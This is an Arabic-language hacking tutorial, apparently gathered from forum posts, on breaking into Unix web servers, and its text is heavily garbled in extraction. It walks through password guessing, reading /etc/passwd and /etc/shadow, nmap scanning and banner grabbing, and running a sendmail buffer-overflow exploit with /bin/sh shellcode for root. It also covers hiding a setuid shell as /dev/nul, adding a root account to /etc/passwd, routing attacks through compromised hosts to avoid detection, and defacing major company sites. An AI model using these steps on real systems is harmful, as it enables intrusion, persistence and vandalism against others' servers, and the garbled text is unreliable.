exploits, rootkits, ProFTPD, WU-FTPD, ...  
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 "استغلال لینكس في اختراق المواقع "
  

$$$$$$$$$$$$$$  
  Viagra 2001 :الكاتب

$$$$$$$$$$$$$$  
  
ضوع هذا ص المو ل أراد لمن مخص س عم التعام ق في لینك خترا س المواقع ا   ...فیه الكافیة الخبرة لدیه ولی
ف ضوع هذا یكون سو ت عن المو حسن التي العملیا حصول بعد بها القیام یست ر كلمة على ال ح الس  في والنجا
خول   ..النظام على الد
ف ان یجب أولا ل ان یمكن بأنه تعر خ ض على تد ض باستخدام الانظمة بع ت بع ض جدوتو المشهورة الكلما  بع

ر بتنفیذ لك تسمح الانظمة حد أم راجك تقوم ثم وا خ ر تلك وأفضل ذلك بعد النظام من با   .: هي الأوام
 

who  
rwho  

finger  
ر هذه من وتستفید ض بأنك الأوام ء تستعر ر كلمة تستخرج ان یمكن وبذلك للنظام المستخدمین اسما  من الس
س ض لأن وذلك الاسم نف ل المستخدمین بع ر كلمة یستعم ریبا مشابهة س   .: مثل لأسمه تق

username : Black  
password : Black2  

 
ض وفي خول تستطیع الأنظمة بع   demo أو test بكتابة الد

 
ت من راجها علیك یجب والتي المهمة الملفا خولك بعد استخ   .: نظام أي على د

/etc/passwd  
/etc/group  
/etc/hosts  

/usr/adm/sulog  
/usr/adm/loginlog  

/usr/adm/errlog  
/usr/adm/culog  

/usr/mail  
/usr/lib/cron/crontabs  

/etc/shadow  
 

حساب   .: bin ال
حتوي حیث مهم وهو ت معظم به ویوجد المستخدم حساب على ی ف یوجد وقد المهمة الملفا ر كلمة مل  الس
  فیمكن كذلك كان واذا

حیانا) ضافة (أ ر كلمة ا ف بك خاصة س ت) خولد حساب وتضی   !! لك (رو
ریقة   .: كالتالي بسهولة والط

ed passwd $  
 

را خی ت تكون وبذلك اسم أي وتكتب exec login تقول وأ ر ان   !!النظام مدی
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ف الذي ما خولك عند تواجهه سو ر بكلمة نظام أي على د   !!؟ مستخدم واسم س
خولك عند حدى ستقابل النظام الى د ت هذه ا حتمالا   .: الا
تاست انك اما حصول طع ر حساب على ال ت) النظام مدی رو ت انك أو (ال ر مستخدم حساب على حصل خ   ..آ
ر تكتب البدایة في   .: التالي الام

pwd $  
ر والنتیجة   .: تظه

usr/admin/ $  
ت النتیجة ر ت انك اظه خول استطع ر على الد ل تستطیع وبذلك المدی ل مع التعام   ..قیود بدون النظام كام

ت اذا ر   : فمثلا .. النتیجة تلك رغی نتیجة ظه
usr/Black/ $  

ت انك على یدل فهذا خل   !!المستخدم هذا حساب على د
ض ت ولعر   .: الآتي تكتب المستخدم هذا ملفا

ls /usr/Black $  
ف ض وسو ت لك یعر   .: المستخدم هذا ملفا
mail  
pers  

games  
bin  
ض لن هذا ولكن ف یعر   profile. مل
ضه ولكي   .: تيالآ تكتب تستعر

cd $  
ls -a $  

:  
:  

.profile  
$  
 
ت اذا ءة ارد ت قرا حتویا ف م ف مل ر تكتب فسو   .: التالي الأم

cat letter $  
ضنا اذا وهذا ف ان افتر   letter هو المطلوب المل

 
ت اذا ر ارد ر كلمة تغیی   .: تكتب ان الا علیك فما الس

passwd $  
ر كلمة منك سیطلب ثم ل !!معك طبعا وهي القدیمة الس خ ر كلمة وتد   .. الجدیدة الس
 

حث ر تكتب معینة معلومة عن للب   .: التالي الأم
grep phone Black $  

ض وهذا ت انك بافترا ر بالمستخدم الخاصة الهاتف ارقام طلب خ   الآ
 

ل خ ولعم ف من نس ف الى مل ر مل خ   .: الآتي تكتب آ
cp letter letters $  
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ت اذا ل ارد حادثة عم رآ مستخدم مع م ل على خ ر فتكتب اتصا   .: التالي الأم

write $  
 

  .: الآتي نكتب النظام على یوجد من ولمعرفة
who $  

 
safadM tty1 april 19 2:30  

paul tty2 april 19 2:19  
gopher tty3 april 19 2:31  

 
ت واذا ءة ارد ف قرا حتوي المل ت على الم ما ر كل ت قد تكون ان یجب المظللة الس خل  باستخدام ظامالن على د

ر حساب ض .. نفسه المدی ف ولاستعرا ت مل ر كلما   .: نكتب الس
cat /etc/passwd $  

root:F943/sys34:0:1:0000:/:  
sysadm:k54doPerate:0:0:administration:usr/admin:/bin/rsh  

checkfsys:Locked;:0:0:check file system:/usr/admin:/bin/rsh  
 
ر وقد ر حساب یظه خ رللم آ   .: كالتالي دی

Black:chips11,43:34:3:Mr doooom:/usr/Black:  
 

حتفاظ للمستخدم یمكن انه یعني وهذا ر بكلمة الا ر بدون اسابیع ثلاثة لمدة الس رها ان یجب وانه تغیی  كل یغی
  .. اسابیع ستة

ض ف استعرا   .: كالتالي المجموعة مل
ls /etc/group $  

 
root::0:root  

adm::2:adm,root  
bluebox::70:  

  
حتوي ان ویمكن ف ی ت على المجموعة مل ر كلما حتوي أو س   !! لای
حتوي كان اذا ر كلمة على لای ت تصبح ان یمكن فانه س را ان خولك حالة في للنظام مدی ر بكلمة د  لمستخدم س

س عادي ر ولی ق بعدة وذلك للنظام كمدی ر   .… ط
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اختراق المواقع عن شرح مفصل من الألف إلى الیاء في احتراف " 
 "طریق لینكس 

  
$$$$$$$$$$$$  

ر: الكاتب ــــســــ   أیـ
$$$$$$$$$$$$  

 
UNix Usage IN HackinG 

  اهلا بكم جمیعا 
حب ان انوه ان هناك العدید من الدروس الجمیله فعلا  ت .. في البدایه ا    up to dateو لكنها قدیمه و لیس

  مكانا للمبتدئین یمكن ان یستفیدوا منه لذلك اكتب لكم هذاالدرس المطول لكي یكون  
حوز على اعجابكم     :)و اتمنى فعلا ان  ی

ت الهامه - حا ض المصطل   :بع
حبون ان یطلقوا على كل من ال  ر من الناس ی رهاpc , servers , supercomputersكثی    و غی

   BOXكلمه 
حتوي عاده على العدید من الیوزرز  ختراقه ی ف نقوم با ضافه للیوزرز..النظام الذي  سو   بالا

س هناك كلمه  رئی ق على ال    ،superuserو هو یكون ... rootتسطیع ان تطل
ر على النظام   .... و هو الادمین او المدی

ل    :بالنسبه لانظمه التشغی
ل .. طبعا  ق باستخدام نظام التشغی ق من نظام  .. windowsلا یمكنك ان تختر حتاج الى اي نظام مشت بل ت

س ل الیونیك    ..التشغی
ت .. حسنا    و لماذا لا یصلح الویندوز؟؟... السؤال هو لماذا هذه الانظمه بالذا

  :لسبیبن 
س سیستمز -١ ت اغلبه  اجهزه شغاله على الیونیك ل على الویندوز ...الانترن  ntو نادر لما تلاقي جهاز شغا

. 9x   
س  ل على الیونیك ر شغا رفی ق جهاز او سی حتى تختر حاجه  ل هذایجب ان تك..اذن اقل    ..ون ملما بنظام التشغی

  ..لذا من الافضل انك تركبه في جهازك 
س .. طبعا -٢ ل في بیئه الیونیك ت مصممه للعم ت و اكواد الاكسبلویتا   ..معظم اادوا
   

س ؟؟... اوكي  س ؟؟و اللینك ت الیونیك   ما هي توزیعا
س    :فهو منقسم الي قسمین .. بالنسبه للیونیك

س تجاري -١ ر مجا.(  یونیك   )ني غی
ح المصدر و مجاني -٢ س مفتو   open source یونیك
   

س التجاري لا یمكن ان تركبه على جهازك العادي    :)لذا فیمكنك تجاهله الان ..بالنسبه للیونیك
ت    اما المجاني فیوجد منه عده عائلا

-BSD  
ل  رغ.. و هي الاقدم و الاصعب في الاستعما ت ت ر و من الافضل لك الا تستعملها الا اذا كن رفی ب في تركیب سی

  على الجهاز 
...  

س  ف ..یوجد اللینك طبعا غني عن التعری   و هو 
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ت و ان كان افضلها هي .. طبعا  ر من  ( SuSeیوجد منه العدید من التوزیعا ربها و لكن اسمع الكثی لم اج
  )الناس یشكرون في هذه التوزیعه 

ض الدروMDKاما بالنسبه لاسهل توزیه فهي  ت هنا بع ضع   س الخاصه بالمندریك  و قد و 
میلها و قرائتها  ح   .. یمكنك ت

حدد مكانا راسلتي على ایمیلي و ن س یمكنك م حصل منه على اللینك   ان لم تجد مكانا ت
ت ٩لتسلیمك نسخه من الماندریك رید ها خ فقط   ( ٧٫٢ او ال ت البلانك و النس   )ثمن الاسطوانا

ل  حا ره .. على اي  ت كثی س ممیزا ر... امن ..للینك ت جهازك .. مجاني  .. مستق ره لیلائم امكانیا یمكنك تطوی
..  
   
ت -    الانترن

ق ... ماذا ..  ل ..ترید ان تختر ل جمی ق جهازك ام ماذا ؟؟.. جمی   ترید ان تختر
ت ..اه ره في الانترن ح ق اجهزه مب ت ..اذن ...ترید ان تختر ر على الانترن ح   :)دعنا نب
   

ت على الدرس ده من الانتر حصل ف انك  ت انا عار ق الویندوز.. ن ری ط   لكن هذا كان عن 
ف..  ت الیوم انسان مختل ت انسان لینكسي ... لكن ان حترمه .. ان   ..ذه فلسفه م

س  ت من نظام الیونیك ر الى الانترن ح س.. اذن یجب ان تب ف المودم بتاعك على اللینك   لن اساسا یجب ان تعر
ف المودم .. حسب التوزیعه اللي عندك  س لم یجد اي مودم موصل بالجهاز ؟؟حتلاقي ان.. حاول تعر    اللینك

  ..لا تتعجب .. ما هذا 
خلیه  ت الدا    ..winmodems  یطلقون علیها internalفكل المودما

ل  ت نظام التشغی ح ل ت س  .. windowsلماذا لانها مصممه اساسا للعم   ..ارجوك لا تلوم اللینك
خلیه هذه  س الدا ت الفاك صانع كرو   :)بل یجب ان تلوم 

حقیقي externalاما بالنسبه للمودم الخارجي ..اوكي     real or true modems فهو مودم 
   acorp , u.s. roboticsیوجد العدید من المودمز الخارجیه مثل ... 

س serialیجب ان تتاكد ان المودم یكون     USB و لی
ضوعنا خلینا في مو ل  حا   ...على اي 

ص  خلال ال .. خلا ت من  ل على الانترن خ س   ispاد خلال نظام اللیونیك   :)وذلك من 
   

ر  ریفی ق سی خترا حاولتك لا ف م ع بك و كش حاول الا یتم الایقا ق هي ان ت خترا روع في الا حاجه قبل الش اهم 
  ..معین 

حمایه  ل ال ح المتمیزه في مجا رو ق الیها لان هناك العدید من الش ر ل عدیده لذلك لن اتط طبعا هنك و سائ و 
  وازاله الاثر 

  :تین او ثلاثه الخصهم في نقط
ختراقه -١ حاول ا حاول ان تسجل في موقع ت ضه .. ایك ان ت ر حتى باسامي مزوره لان هذا قد یجعلك ع و لا 

ص بك ف الاي بي الخا   لكش
ح الفل ispو من ثم ال  صبا   ت ... ثم رقم هاتفك و 

ر المهتمین بامور الهاك -٢ ختراقاتك ابدا اما غی   ... ایاك ان تتباهى با
حاول الا تخ-٣ خلال جهازك ا ق دائم من  ت فهمتني غلط .. لا لا ... تر ت كافیه .. ان ح لن ش قصدي یعني ترو م
(:  

حیه > =====جهازك  ض ش مامون ... الجهاز ال   لكن..ده م
حیه >  ======جهاز وسیط> ======جهازك ض ر ال رفی س اوي ...السی   ده كده كوی

ق.. طیب ایه الجهاز الوسیط ده ت ده ممكن یكون مثلا جهاز مختر ل اكاون   . من قبل او شی
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ت ل اكاون حكم في جهاز من بعید و هذا : طیب ماهو الشی خلالها الت حیث یمكنك من  خدمه  هو عباره عن 
س    الجهاز علیه نظام الیونیك

ق هذا الجهاز  خترا ر ان تقوم با حدمه مجانا ..طبعا من غی   ..و یوجد العدید ممن یقدمون هذا ال
ر-٤ خطی ق اجهزه  حاول ان لا تختر ت اجب علیك قبل ان gov .mil.ه و مهمه مثل   را رفی  و edu. او سی

رها من هذا النمط   .غی
ج -٥ ریكین ت الف ض تقنیا رقم تلیفونك عن مزود الخدمه لدیك ..  هذه النقطه تعتمد على بع ء ل خفا ل ا .لعم

REdirecting  
   
ص المواقع ومنافذ  ال - ح     :TCPف
   

ف ق ان تعر خترا ت یجب علیك قبل ان تقوم بالا ف یمشي الانترن روتوكول یدعى  ..  كی انه یعتمد على ب
TCP\IP   

ى  ر خ ت الا روتوكولا ض الب   .... و بع
  D=ركز معایا ابوس ایدك ... طیب 

حه  ت مفتو ت بیكون فیه بورتا ض ان كل جهاز على الن رو خلالها  ..المف ت یمكنك ان تقوم من  هذا البورتا
ل الداتا   بارسا

حه هذه..من جهاز الى ذلك الجهاز  ت المفتو حه فقط (  البورتا تكون على استعدد دائما لتلقي الداتا ) المفتو
س ت بوك   من ریمو

حه بما یسمى بخدمه  ت المفتو    >>service..دائما ما ترتبط البورتا
خلال دیمون serviceو هذا الخدمه     daemon or server  تكون مستضافه من 

ح.. اذن  حب الموقع بفت صا ر الدیمون هذا اذا قام  رفی ر فانه یقوم بفتح منفذ في السی رفی لكي یقوم ..ه في السی
خلاله بتقدیم الخدمه الملعونه    D=الدیمون هذا من 

ت الخاصه بهم  ت مع البورتا ض الخدما ر..و هذه بع طبعا هناك كثیی   لكن 
   

    ٢١      FTP    FTPd  
    ٢٣      Telnet          telnetd  
    ٢٥      SMTP    sendmail (yes(!  
    ٨٠      HTTP    apache  
    ١١٠      POP3    qpop  
ف  ر ح  d ر كلمه خ ختصار لكلمه ftp , telnet ..etc  في ا    daemon  ا

   
ل  خلال المتصفح مثلا: مثا ت بزیاره  هذا العنوان من  ث ؟؟www.host.netلو سیادتك قم حد     ماالذي ی

ت ال  خلال بور ل بالموقع من     ٨٠  رقم TCPیقوم المتصفح بالاتصا
ل ا رثم یقوم بارسا   لام

GET /HTTP/1.1 /index.html ره ى كثی ر خ ر ا   ..  واوام
حه  ص بالصف ل الخا ل كود الهتم   index.htmlثم بعد ذالك یقوم الموقع المطلوب بارسا

   
ف ان ال  ری ء الط ره daemonsالشي ت الامنیه الخطی را حتاجینه ...  دي ملیئه بالثغ حنا م و هوه ده اللي ا

=<  
   

ق موقع یج خترا ف اي ال اذن لكي تقوم با ر  لذلك یجب علیك daemonsب ان تعر رفی   الموجوده عل السی
ف    ان تعر



 

  ١ ٨٤  

Sites UnDeR UtTaCk  hi_HaCkEr & MaXhAk2000  www.3asfh.com/vb  

ف  ر المستهد رفی حه في السی ت هذه ...ماهي المنافذ المفتو حصل عى المعلوما ف ت   ..اذن كی
خلال ما ال ف  ... port scanersمن  ر المستهد رفی حول ان تتصل بالسی ج ت رام رز هي عباره عن ب السكان

خلال جمیع المنا حه ..فذ من  ت المفتو   و ذلك لمعرفه اي البورتا
ر  رفی رز هي الاداه ...في هذا السی ر هذا السكان حظ یوجد نسخه fyodor بواسطه nmapاشه حسن ال  و ل

خاصه بالویندوز و    ؟؟..ایه ده ..!! منها 
ص  خال ش اتفقنا ننسى الویندوز ده  حنا م   <=ا

sar3e/linuxdude/uk.co.lycos.members://http/  
حصل على نسخه ..طیب س یمكننا ان ن    rpm  على هیئه nmapبالنسبه للینك

  :و لتركیبها اتبع التالي 
bash-2.03$ rpm -i nmap-2.53-1.i386.rpm  

   
ل  حاول على مدار الدرس باستخدم الموقع .. ثم نقوم بالتشغی ء االله سن ل لموقع target.eduو ان شا  كمثا

ف    ..مستهد
  :اتبع التالي 

bash-2.03$ nmap -sS target.edu  
   

  Starting nmap V. 2.53 by fyodor@insecure.org ( 
www.insecure.org/nmap( /  

  Interesting ports on target.edu (xx.xx.xx.xx:(  
  )The 1518 ports scanned but not shown below are in state: closed

(  
  Port       State       Service  
  ٢١/tcp     open        ftp  
  ٢٣/tcp     open        telnet  
  ٢٥/tcp     open        smtp  
  ٨٠/tcp     open        http  
  ١١٠/tcp    open        pop3  

   
   

  Nmap run completed -- 1 IP address (1 host up) scanned in 34 
seconds  

   
   

ىnmapاذن لقد قام ال  ر حه كم ت ل على الموقع و قام بمعرفه المنافذ المفتو ص شام ح ل ف   !!  بعم
ت و ال ضا اي الخدما ف ای     target.edu  الموجوده في الموقع daemonsاذن یمكننا ان نعر

حد هذا المنافذ  ل بالموقع من ا ر معي ماهي هذه الاداه؟؟؟..لكن یلزمنا اداه معینه للاتصا   فك
ت نعم ا خدمه .. اه .. نها التلن ت هوه  حیح ان التلن ت دیمون ..ص خلال التلن ضا عباره عن .. من    و لكنه ای

ج بسیط  رنام خلال ال ..ب ل باي موقع  بمنفذ معین من  خلاله الاتصا ل  ...TCPیمكنك من  ف مثا ل نشو   :تعا
   

bash-2.03$ telnet target.edu 21  
  Trying xx.xx.xx.xx...  
  Connected to target.edu.  
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  Escape character is^' ['.  
  ٢٢٠ target.edu FTP server (SunOS 5.6) ready.  
  quit  
  ٢٢١ Goodbye.  
  Connection closed by foreign host  

   
  اهااااا

ت قیمه اوي اوي    :)دول دلونا على معلوما
ل هناك هو -١   SunOS 5.6 نظام التشغی
ف تي بي هناك هو ال-٢   sunOS اللي بییجي مع نظم السن standard دیمون الا
   

ت  ت تاني نتصل بیه من التلن ل نجرب بور   :تعا
   

bash-2.03$ telnet target.edu 25  
  Trying xx.xx.xx.xx...  
  Connected to target.edu.  
  Escape character is^' ['.  
  ٢٢٠ target.edu ESMTP Sendmail 8.11.0/8.9.3; Sun, 24 Sep 2000 

09:18:14 -0  
  ٤٠٠) EDT(  
  quit  
  ٢٫٠٫٠ ٢٢١ target.edu closing connection  
  Connection closed by foreign host.  

   
   

ت قیمه  هي ان دیمون  ضا استفدنا معلوما /٨٫١١٫٠ و ان اصدار ه هو sendmail  هو ال smtpای
٨٫٩٫٣  

ل  حمی ل  ت و..جمی ت ؟؟ لان الاكسبلوی ج الى هذا المعلوما حت ره الموجوده دائما تعتمد على طیب لماذا ن    الثغ
ل daemonال  ت قد یمكن ان .. الموجود  و على نظام التشغی ض المكعلوما لكن توجد مشكله وهي ان بع

حه حی ص ر    تكون مزوره او غی
  :ازاي ؟؟؟تابع معایا كده 

   nmapبالاداه 
bash-2.03$ nmap -sS target.edu  

   
  Starting nmap V. 2.53 by fyodor@insecure.org ( 

www.insecure.org/nmap( /  
  Interesting ports on target.edu (xx.xx.xx.xx:(  
  )The 1518 ports scanned but not shown below are in state: closed

(  
  Port       State       Service  
  ٢١/tcp     open        ftp  
  ٢٣/tcp     open        telnet  
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  ٢٥/tcp     open        smtp  
  ٨٠/tcp     open        http  
  ١١٠/tcp    open        pop3  

   
  TCP Sequence Prediction: Class=random positive increments  

                           Difficulty=937544 (Good luck(!  
  Remote operating system guess: Linux 2.1.122 - 2.2.14  

   
  Nmap run completed -- 1 IP address (1 host up) scanned in 34 

seconds  
   

  |:یانهار اسود 
س  ت بتخمینه هو لینك ل اللي الاده قام   !!!!!!نظام التشغی

ش كان    @=اه یا و لاد الكلب  !!!!!! sunOSم
   

س الوجوده  ف توزیعه اللینك رده لازم نعر حنا ب س ا ت اللي جم..ب عناها كفایه و لكن نقدر نقول ان المعلوما
  ممكن تمشي 

ص موقعه ..طیب  ح ف ان اننا قمنا بف ر حد الادمینز لو ع ل سكان على الموقع و لكن ممكن ا حنا قمن بعم كده ا
ش عایزین الادمین یزعل مننا لذلك...  حنا م حیكون زعلان منن و    اعتقد نه 

ختیار  ل شرعي Ss-استخدمنا الا ر عم ل سكان لموقع  یعتب ل فان عم ح   D=لا مشاكل فیه   على اي 
ت راجع   :لمزید من المعلوما

bash-2.03$ man nmap  
   

ت    ..رفع ادواتك على شل اكون
ق من جهازك ( ش عایز تختر ت و م ل اكاون   )هذه الخطوه اذا كن عندك شی

  :اتبع التالي 
bash-2.03$ ls  

  program.c  
  sh-2.03$ ftp shell.com  
  Connected to shell.com  
  ٢٢٠ shell.com FTP server (SunOS 5.6) ready.  
  Name: luser  
  ٣٣١ Password required for luser.  
  Password:  
  ٢٣٠ User luser logged in.  
  ftp> put program.c  
  ٢٠٠ PORT command successful.  
  ١٥٠ ASCII data connection for program.c (204.42.253.18,57982.(  
  ٢٢٦ Transfer complete.  
  ftp> quit  
  ٢٢١ Goodbye  
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خلال ا ریقه ن    ftpطبعا هذه الط
ت و  ت اللوج لذلك یفضل لك ان تقوم بنسح سورس كود الاكسبلوی ل ملفا حببه لانها تقوم بعم ر م  و هي غی

ل  ف في الشی   .لصقها في مل
sh-2.03$ vi exploit.c  

ف و سمیه بامتداد ق الكود في مل ل و الص ل تاني و اتصل بالشی رمینا خ الكود ثم افتح  تی   c. ثم انس
ت  ل اكاون ت بتاعتك للشی ت الاكسبلوی ت رفع   . كده ان

ف  ت المستهد ت و بعدین اعملها رن على الهوس ل للاكسبلوی   وكومبای
sh-2.03$ gcc program.c -o program  

sh-2.03$ ./program  
   

حوظه  م بیها: مل رین دول كقاعده مسل خد الام ره الخاصه في .. عیب اوي انك تا كل اكسبلود و له اوام
ل الكوم ریقه في التشغی ط ل و له    بای

رمجي او في ال ق الب ریقه في التعلی ر هذا الط    .usageتظه
   
ت المختلفه - را   -: استغلال الثغ

ضوع  ضا الدیمونز .هذا اهم جزا في المو ف و ای ل عند الموقع المستهد ف ماهو نظام التشغی رد ان تعر بمج
ر رفی   الشغاله على السی

ت فیمكنك ان تذهب الى اي دتا بیز ا ت ..للي بتقدم اكسبلوی ره على الانترن   و دي موجوده بكث
http://www.linux.com.cn/hack.co.za  

حاجه ممكن تتخیله  ل ..مثلا ده فیه كل  ت و نظم تشغی   مقسمه الى دیمونا
ت ؟؟..و لكن    ماهي الاكسبلوی

ل المهم ان  ر ت عباره عن سورس كود عاده مكتوب فبلغه السي او البی   الاكسبلوی
ر الاكس رفی ت دي تقوم باستغلال منطقه معینه في السی حاله ..بلوی   TARGET.EDUفي 

ت الخاصه ب  رsendmail 8.11.0 یمكننا ان نستخدم الاكسبلوی خ     او اي دیمون ا
ق  خترا ض للا ر دیمون معر ل هو اكب ل دیما اسمعهم یقولوا ان السند می ف ایه ..على فكره العیا ش عار م

ل اساسا ؟؟   السند می
ح ف طیب روو ت تعر   : للدرس ده و ن

http://www.pharaonics.net/less/NEtworks/124.htm  
حاجه لازم تعرفها  ر معین .فیه  رفی ت على سی طبعا (ایه الفوائد اللي جتعود علیك ..ان لما تشغل اكسبلوی ر  غی

ق الموقع  خترا   )ا
حاجتین اتنین  حصل على  ل عادي ..حت حاجه شی   ....اول 
حاجه و ده المهم با ل تاني  ت شی روو   ..لنسبه لنا مایسمى بال

ل كل اللي  ت و ممكن تعم حیا ت كده تمتلك كفه الصلا ر اذن فان رفی ل على السی ت شی ت روو خد ت لو ا طبعا ان
ت عایزه  ت في اول الدرس ..ان ل ده كجهاز و سیط زي ما قل ت شی روو ل ال   ممكن تستعم

   
ت هي  ره للاكسبلویتا صغی   www.securityfocus.com: دتا بیز 

www.insecure.org/sploits.html  
   

ت اذا .. ى و یجب علیك ان تقرا الكود بتاعها او التعلیقا ر خ ت مختلفه عن الا ت ان كل اكسبلوی طیب زي ما قل
رمجه  ت لا تفهم في لغه الب   ..كن

ر فلو  ر اوف ت هي البف ر الاكسبلویتا ل ... من اسهل و اشه ت بعم   ) دربكه في الدیمون ( یقوم هذه الاكسبلوی
ل الكود الذي تریده مم    یؤدي الى تشغی
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ل كود ر لذلك فهو یسمى شی رفی ل في السی ل شی    shell codeیقوم هذا الكود بتشغی
ل  ف هذا الكود تبعا لنظام التشغی طبعا یختل ر..   رفی ل المستخدم في السی ف نظم التشغی   لذلك یجب علینا ان نعر

ت معینه ممكن نلاقي ده    لو شوفنا كود اكسبلوی
char shellcode= []  

  "\
xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"  

  "\
x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"  

  "\x80\xe8\xdc\xff\xff\xff/bin/sh"؛  
   
   
   
ل اللي في المسار دهه ..اها ل الشی س و یقوم بتشغی   bin/sh/دهه للینك
ل كود طبعا ر الشی ر اذن یجب علیك ان تغی خ ل ا ل على نظام تشغی ر بتاعك شغا رفی    لو السی

ف  ر یناسب النظام المستهد خ ل في مواقع ..ده الى ا ل كودس لجمیع نظم التشغی طبعا ممكن تلاقي شی
  .السیكیورتي المختلفه

...  
ق  خترا ش جهازك في الا ت یجب علیك البا انك متستعمل ل و انما تستخ.. زي ما قل دم جهازا وسیطا او شی

ت  ت كالتالي..اكاون ل اكاون خول الى الشی ریقه لد   ط
bash-2.03$ telnet myshellaccount 23  

  Trying xx.xx.xx.xx...  
  Connected to yourshellaccount.  
  Escape character is^' ['.  

      Welcome to yourshellaccount  
      login: malicioususer  
      Password: (it doesn't display(  
      Last login: Fry Sep 15 11:45:34 from <yourIPaddress<.  

  sh-2.03  
   

ل اسمها  ت للسند می   exploit.cطیب لو عندنا اكسبلوی
ر فلو  ر اوف ل بف ل و تشغیله كتاللي..  و هي تعم ل الكومبای   :یمكننا اولا عم

  sh-2.03$ gcc exploit.c -o exploit  
   

sh-2.03$ ./exploit  
  This is a sendmail 8.9.11 exploit  
  usage: ./exploit target port  

sh-2.03$./exploit 25 target.edu  
   

ل  ل جمی ل هناك$...جمی خدنا شی   معنها اننا ا
ر  رفی ضعنا ایه على السی ف و ل نشو   :تعا

$whoami  
  root  
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ت ..یا  عیني  ت روو   =)كده انا بقی
ت على السیستمطیب فیه العدید من ا ش بتخلیك روو ت م ل..لاكسبلویت ل هنا س شی   و انما تدیك ب

ر لوكل  خ ت ا رفع اكسبلةی    localلذلك یجب علیك ن تقوم ب
ت في النظام ررو حصول على ال ف تي بي على قدر ...لل ت بالا حاول ان تتجنب رفع الاكسبلویتا ر ن ت تذك

ع حنا عایزینك (المستطا   =))ا
ص ى تعطیك  ر خ ت ا ف الباسوردفیه اكسبلویتا حیه اظهار مل   >=اي تي سي ..لا

   
ضع باك دور -   -:و

ل  ت على السیستم .. جمی خذنا روو ر الموقع او ..اذن فقد ا ت في امكانك ان تقوم بتغی ماذا بعد ؟؟؟فعلا ان
رئیسیه حه ال   الصف

ر فایند  س في اي مكان او باستخدام الام حث عن الاندك   ..كل ما علیك ان تب
حه و من  ر زعل لكن هذا بصرا رد عضلاتك على موقع ..غی رز لان عیب اوي انك تف   edu.ده شغل اللام

ت ق هذه الدومینا خترا   فاغلب الهاكرز بامكانهم ا
حترم مثل  رئیسیه في موقع م حه ال ر الصف حك جدیا بتغیی   و لكن انص

microsoft.com , ibm.com etc   
حیه او التي تسب الدین  حتوى كالابا ضوعنا دهه. ..او المواقع السیئه الم ش مو ل م ح   على اي 

حتفظ بالموقع دهه  حنا دلوقتي عایزین ن ث اجهزه ایاهم ..طیب ا ر الثلا   تذك
ف > ------جهاز وسیط> -----جهازك   .الجهاز المستهد

ل ایه دلوقتي؟؟ حنعم   اذن 
حاجه  ت ..في  ت لو كتب ل بتاعك و عشان ترجع تاني یلزمكexitان ر ده و تعود للشی رفی ره السی حتطلع ب    

ت  س الخطوا   نف
ر الباسورد او ركب باتش للدیمون المصاب او قام  ل ان یكون الادمین قد قام بتغیی حتم و في هذه الفتره قد ی

رید له ل اب ج   بعم
ت في عملها  ل ؟؟..مما یؤدي ان تفشل الاكسبلوی ح   و ال

ل اللي في نفسنا  ت و ممكن نعم حنا دلوقتي روو س ا ركب باك دوور یسمح لنا بال...ب عوده بعد ذلك في اذن ن
ت    ..اي وق

حسن باك دور هوه الهاك اتاك    |=| =اه ...صعب ان النورتون یكشفه و ممك..ا
ر ؟؟؟؟   ایه الكلام ده یاد یا ایس

  !!!!!!| =هاك اتاك 
ت  ف نسی   ... =)اس

خذه  ضي ده و لا مؤا ف تماما عن الكلام الفا ضوعي ده تختل   طبعا الباك دورز في مو
حطه لكم قریبا طبعا الباك دورز دي  ع ء ا حده ان شا ضوع لوا ت .. ایزالها مو ر لكم الاساسیا لكن انا ساذك

  ..فقط 
ل -١   ؟؟؟؟sushi ازاي تعم

ل  خ ال suid shell  او sushiلكي تقوم بعم   bin/sh/  یلزمك ان تقوم بنس
ت ال  حیا صلا ءه  خفي  و نقوم باعطا   : كالتالي suidالى مكان 

sh-2.03$ cp /bin/sh /dev/nul  
  هههههه

ركتوري  ل الدای خ ر دا حیان الادمین لا ینظ ء  .. devفي اغلب الا خله فانه لن یشعر بشي ر د حصل و نظ و لو 
ف اساسا اسمه  ریب لان فیه مل   nullغ

=D ل جدعان اوي حنا عیا   D= لا ده ا
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sh-2.03$ cd /dev  
  sh-2.03$ chown root nul  

   
حنا عایزینها  ت اللي ا حیا ل الصلا   -:نعطي  الشی

sh-2.03$ chmod 4775 nul  
حنا عایزینها suid  معناها ال ٤٧٧٥   .  اللي ا

ر  ض الانظمه chmod +s nulخلي بالك ان الام ش في بع ل ..   ممكن میشتغل ر الاول بیعم خلیك مع الام
  ..في كله 

   
خلصنا مهمتنا  ف ..كده  ره كده و نشو   تعالى نطلع ب
sh-2.03$ exit  

   
لD= یوم لو رجعنا ٨٠بعد  حصل   تعا حی ف كده اللي    : نشو

sh-2.03$ whoami  
  luser  
  sh-2.03$ /dev/nul  
  sh-2.03$ whoami  
  root  

   
ر یوزرز الان بكل سهوله  حنا سوب   =) ا

ت ال .. فیه مشكله  حیا صلا ء  ر من الشیلز تمنع اعطا حصل على ال suidفي كثی    sushi  یعني مینفعش ن
ر ا رفی رفع للسی حاله یلزمنا ان ن ص تاني اسمه و في هذه ال خا ل  ق شی ل sashلمختر ختصار   A و هو ا

stand-alone shell   
خاصه به  ر    ...ذو اوام

ت ال حیا صلا ء  ل suidو هو یسمح باعطا   /bin/sh ل الان ال   sushi  اذن نقدر نعم
   
ف یوزرز مزورین ؟؟-٢ ضی ف ن    كی

ف  ر في المل ل تغیی ت و تقدر تعم ت روو خلالetc/passwd/طبعا ان ف   و ممكن من  ف ده انك تضی  المل
ت عایزه  حد ان   اي 
رر  ح ل الم   - :viباستعما

sh-2.03$ vi /etc/passwd  
رر  ح    viطبعا لازم یكون عندك فكره عن كیفیه استخدام الم

ر لكل یوزر عادي یكون على الشكل ده  حتلاقي سط ف ده    في المل
luser:passwd:uid:gid:startdir:shell  

   
ر یوزرز بیكون  حاله السوب   uid & gid =0ال في 

ر ده  ف السط ض   :اذن ا
dood::0:0:dood:/:/bin/sh    

ر یوزر للنظام ت سوب ضف ت      و كده اان
sh-2.03$ su dood  

  sh-2.03$ whoami  
  dood  
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ت  حنا روو خ ..طبعا ا رuid  و ال gid  كل من ال doodلیه لان الا صف     یساوي 

   
ف تضع -٣    ؟bindshell كی

